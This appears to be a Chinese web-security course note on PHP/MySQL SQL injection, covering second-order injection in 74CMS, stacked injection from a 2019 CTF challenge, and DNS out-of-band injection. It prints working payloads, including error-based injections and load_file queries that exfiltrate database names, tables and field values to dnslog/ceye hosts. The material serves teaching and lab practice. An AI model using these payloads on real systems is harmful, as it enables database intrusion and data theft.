045-WEB攻防-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件

045-WEB攻防-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件

#知识点:

1、PHP-MYSQL-SQL注入-二次注入&利用条件
2、PHP-MYSQL-SQL注入-堆叠注入&利用条件
3、PHP-MYSQL-SQL注入-带外注入&利用条件

演示案例:

➢PHP-MYSQL-二次注入-DEMO&74CMS
➢PHP-MYSQL-堆叠注入-DEMO&CTF强网
➢PHP-MYSQL-带外注入-DEMO&DNSLOG

#PHP-MYSQL-二次注入-DEMO&74CMS

黑盒思路:分析功能有添加后对数据操作的地方(功能点)(很难测出,sql语句的符号影响,转义不能直接看出,容错处理代码中是否有,找到在哪里触发(执行置入的sql语句))

白盒思路:insert后进入select或update的功能的代码块源代码去审

注入条件:插入时有转义函数或配置 ,后续有利用插入的数据(先插入后利用

1、DEMO-用户注册登录修改密码(使用报错回显)

  1. 注册新用户时,将注入的内容包含在注册的用户名后admin' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#**

  2. 成功注入,并查看数据库,数据库中也存放了响应的注入语句

  3. 正常登录:登陆后,随便输入旧密码和新密码 ,点击修改后,发现注入成功,错误回显版本号

需要注意的条件:实现二次注入,源码中有对应的转义( magic_quotes_gpc)或使用转义函数(addslashes
  1. 在注册用户逻辑中,首先使用addslashes 转义函数解析POST请求中的username,

  2. 在后方插入新用户记录的时候,执行的SQL语句则会变为INSERT INTO users (username,password) VALUES ('admin\' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#','123456') 给username中的单引号添加转义字符\

  3. 在添加进数据库之后,数据库会自动删除转义字符/,方便后面执行修改密码的时候,查询对应数据,执行二次注入

  4. 如果不使用,转义函数,则会出现报错

    1. 报错的原因是:sql注入语句中,提前闭合了单引号,造成后面的密码值无法对应到表中的password列
  • addslashes 是一个 PHP 函数,用于对字符串中的特殊字符进行转义,返回在预定义的字符前添加反斜杠的字符串。

    php 复制代码
    string addslashes ( string $str )
    //参数:`$str` 是要进行转义的字符串。
    //返回值:返回转义后的字符串。

    返回在预定义的字符前添加反斜杠的字符串。

    预定义字符是:

    • 单引号(')
    • 双引号(")
    • 反斜杠(\)
  • magic_quotes_gpc 是一个在早期版本的 PHP 中存在的配置选项,其作用是自动对从 GET、POST 和 COOKIE 获取的数据进行转义。

    具体作用如下:

    1. 自动转义:magic_quotes_gpc 启用时,PHP 会在从 GETPOSTCOOKIE 中获取的数据中自动添加转义斜杠,使特殊字符成为安全的字符串。例如,单引号 ' 被转义为 \\'

    示例:

    php 复制代码
    // 假设 magic_quotes_gpc 已启用
    
    $user_input = "It's a sample input";
    // $user_input 变量包含 "It\\'s a sample input"
    
    // 在早期的 PHP 版本中,这样的输入在插入到数据库时会被自动转义

2、CMS-74CMS个人中心简历功能

  1. 配置并打开网址
  2. 前端对专业名称有长度限制,选中打开检查修改maxlength="120"值
  3. 在学校名称和专业名称注入:aa','fullname'=user()#
  4. 分析源码

#PHP-MYSQL-堆叠注入-DEMO&CTF强网

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,

例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL ,所以要想目标存在堆叠注入,在目标主机存**在类似于mysqli_multi_query()这样的函数**,根据数据库类型决定是否支持多条语句执行.
支持堆叠数据库:MYSQL MSSQL Postgresql等

  1. 首先在数据库操作软件中Navicat Premium 16,使用:SELECT *FROM news WHERE id=1;CREATE TABLE xxx(test VARCHAR(255));语句,

    sql 复制代码
    # **这是一个选择数据的查询,从名为 'news' 的表中选择所有列,其中 id 列的值为 1
    # 创建一个名为 'xxx' 的表,该表包含一个名为 'test' 的 VARCHAR(255) 类型的列**
    SELECT *FROM news WHERE id=1;CREATE TABLE xxx(test VARCHAR(255));
  2. 由于sql语句在Navicat Premium 16有特定解析,支持两个封号的语句拼接在一起执行

  3. 但是当该语句通过网址注入,由于php中多数执行sql语句的函数为mysqli_query()只能执行一条SQL:http://192.168.137.1:84/sqli/new.php?**id=1;CREATE TABLE xxx(test VARCHAR(255);**

    1. 所以不能识别执行,会报错

  4. 但是当php采用mysqli_multi_query函数接收并执行sql语句的时候

    1. 可以识别执行

1.目标存在SQL注入漏洞:

2.目标未对";"号进行过滤:

目标系统未对输入中的分号(;)进行有效的过滤或检查。分号在SQL中通常用于分隔多个SQL语句,因此,如果应用程序未正确过滤这些字符,攻击者可以利用这一点来注入多条SQL语句。

3.目标中间层查询数据库信息时可同时执行多条SQL语句:

在目标系统的中间层中,存在一种机制或函数,允许一次性执行多条SQL语句。这种情况通常出现在使用诸如 mysqli_multi_query() 或者 PDO::multi_query() 这样的函数时

2019强网杯-随便注(CTF题型)

';show databases;

';show tables;

';show columns from 1919810931114514;

';select flag from 1919810931114514;

';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

1、目标存在sql注入漏洞

2、目标未对";"号进行过滤

3、目标中间层查询数据库信息时可同时执行多条sql语句

  1. ';show databases;

    • 这似乎是尝试显示数据库
  2. ';show tables;

    • 类似于第一个,似乎是尝试显示表。
  3. ';show columns from 1919810931114514;

    • 另一次尝试从具有特定名称的表中显示列。
  4. ';select flag from 1919810931114514;

    • 类似于前一个,试图从表中选择名为'flag'的列。确保表和列存在。
  5. 由于提示不能使用select等,所以使用动态SQL语句,

    1. 将想要执行的语句,转换为Hex(16 进制)
  6. ';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

    1. execsql from @a;
    2. execute execsql;
      1. 在第一个步骤中,使用**execsql语句从用户变量 @a中执行动态SQL。 @a包含一个十六进制字符串,可能代表一个SQL查询语句。**
      2. 在第二个步骤中,使用**execute语句执行之前准备好的动态SQL,该SQL语句由第一步中的 execsql**生成。
    • 这似乎是尝试使用用户变量进行动态SQL。在使用动态SQL时要小心,因为它可能存在安全风险。确保**@a**的内容是安全且经过正确清理的。

#PHP-MYSQL-带外注入-DEMO&DNSLOG

产生原因:有部分注入点是没有回显的,所有读取也是没回显的,采用带外的形式,回显数据

0.注入条件:

  • ROOT高权限且支持load_file()

  • **secure-file-priv=**设置→默认关闭,必须添加到MYsql的配置文件my.ini中

  • G:\develop\safety\phpstudy_pro\Extensions\MySQL5.7.26*my.ini*

    • secure_file_priv 是 MySQL 数据库中的一个系统变量,用于限制使用 LOAD DATA INFILESELECT ... INTO OUTFILE 语句时可以读取和写入的文件的路径 。这个变量通常用于提高数据库的安全性,防止用户滥用这些语句导致的文件系统访问。
      • 如果设置了这个变量,MySQL 将仅允许在指定的路径下进行文件的读取和写入操作。
      • 如果没有设置,MySQL 将默认使用空值,表示禁用 LOAD DATA INFILESELECT ... INTO OUTFILE
    • 例如,如果 secure_file_priv 被设置为 f:\\ ,那么在执行 LOAD DATA INFILESELECT ... INTO OUTFILE 时,只允许读写位于 f:\\ 目录下的文件。
  • 如果源码有回显则直接注入即可 文件读写利用http://192.168.137.1:84/sqli/new.php?id=1 union select 1,2,3,load_file('F:\\1.txt'),5,6

1.使用平台

http://ceye.io(适用dnslog打不开的场景下)只需要记住每次登录,分配的identifier即可

http://www.dnslog.cn

2.带外应用场景:

解决**不回显,反向连接,SQL注入,命令执行,SSRF等**

  • SQL注入:

    sql 复制代码
    select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa'));
    **and (select load_file(concat('//',(select database()),'.[rkmg30.ceye.io](http://rkmg30.ceye.io/)/abc')))**
  • 查询当前数据库

    sql 复制代码
    id=1 and load_file(concat("\\\\",database(),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\asdt"))
  • 查询其他数据库

    sql 复制代码
    id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt"))
    """
    由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
    **limit 0,1 查询第一个数据库名
    limit 1,1 查询第二个数据库名**
    limit 2,1 查询第三个数据库名
    """
  • 查询版本号

    sql 复制代码
    id=1 and load_file(concat("\\\\",version(),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt"))
  • 查询当前数据库dome01中第一个表名

    sql 复制代码
    id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='dome01' limit 0,1 ),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt"))
    """
    由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
    **limit 0,1 查询第一个表名
    limit 1,1 查询第二个表名**
    limit 2,1 查询第三个表名
    """
  • 查询security数据库emails表下第一个列名

sql 复制代码
id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
  • 查询字段值 数据库名为security 表名emails 列名id

    sql 复制代码
    id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))

#CMS-74CMS网址配置

相关推荐
10年前端老司机1 小时前
什么!纯前端也能识别图片中的文案、还支持100多个国家的语言
前端·javascript·vue.js
摸鱼仙人~1 小时前
React 性能优化实战指南:从理论到实践的完整攻略
前端·react.js·性能优化
程序员阿超的博客2 小时前
React动态渲染:如何用map循环渲染一个列表(List)
前端·react.js·前端框架
magic 2452 小时前
模拟 AJAX 提交 form 表单及请求头设置详解
前端·javascript·ajax
夜光小兔纸5 小时前
SQL Server 查询数据库中所有表中所有字段的数据类型及长度
数据库·sql·sql server
小小小小宇7 小时前
前端 Service Worker
前端
只喜欢赚钱的棉花没有糖7 小时前
http的缓存问题
前端·javascript·http
小小小小宇8 小时前
请求竞态问题统一封装
前端
loriloy8 小时前
前端资源帖
前端
源码超级联盟8 小时前
display的block和inline-block有什么区别
前端